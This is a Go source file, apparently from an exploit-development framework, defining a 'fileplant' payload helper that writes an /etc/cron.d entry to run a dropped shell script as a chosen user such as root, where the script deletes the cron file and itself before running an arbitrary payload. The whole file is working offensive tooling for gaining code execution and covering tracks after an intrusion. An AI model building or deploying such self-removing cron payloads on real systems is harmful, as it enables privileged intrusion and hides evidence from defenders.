// file planting based payloads.
//
// The fileplant package contains payloads to aid the exploit developer in achieving execution
// via binary planting, dll planting, and just general file hijinks.
package fileplant

import (
	"fmt"
)

type CronPayload struct{}

var Cron = &CronPayload{}

// Creates two strings that can be used for gaining execution via "/etc/cron.d". The first return ("cron")
// should be uploaded to "cronPath" (presumably /etc/cron.d but I don't know your life), and the second
// return should be uploaded to "xploitPath" (e.g. /tmp/helloworld). The cron file will trigger
// execution of the bash script which will delete both the cron and itself. Example usage:
//
//	cronPath := fmt.Sprintf("/etc/cron.d/%s", random.RandLetters(8))
//	xploitPath := fmt.Sprintf("/tmp/%s", random.RandLetters(8))
//	xploit, ok := generatePayload(conf)
//	if !ok {
//	    return false
//	}
//	cron, xploit := payload.SelfRemovingCron("root", cronPath, xploitPath, xploit)
func (c *CronPayload) SelfRemovingCron(user string, cronPath string, xploitPath string, payload string) (string, string) {
	cron := fmt.Sprintf("* * * * * %s /bin/sh %s\n", user, xploitPath)
	xploit := fmt.Sprintf("#!/bin/sh\n\nrm -f %s\nrm -f %s\n%s\n", cronPath, xploitPath, payload)

	return cron, xploit
}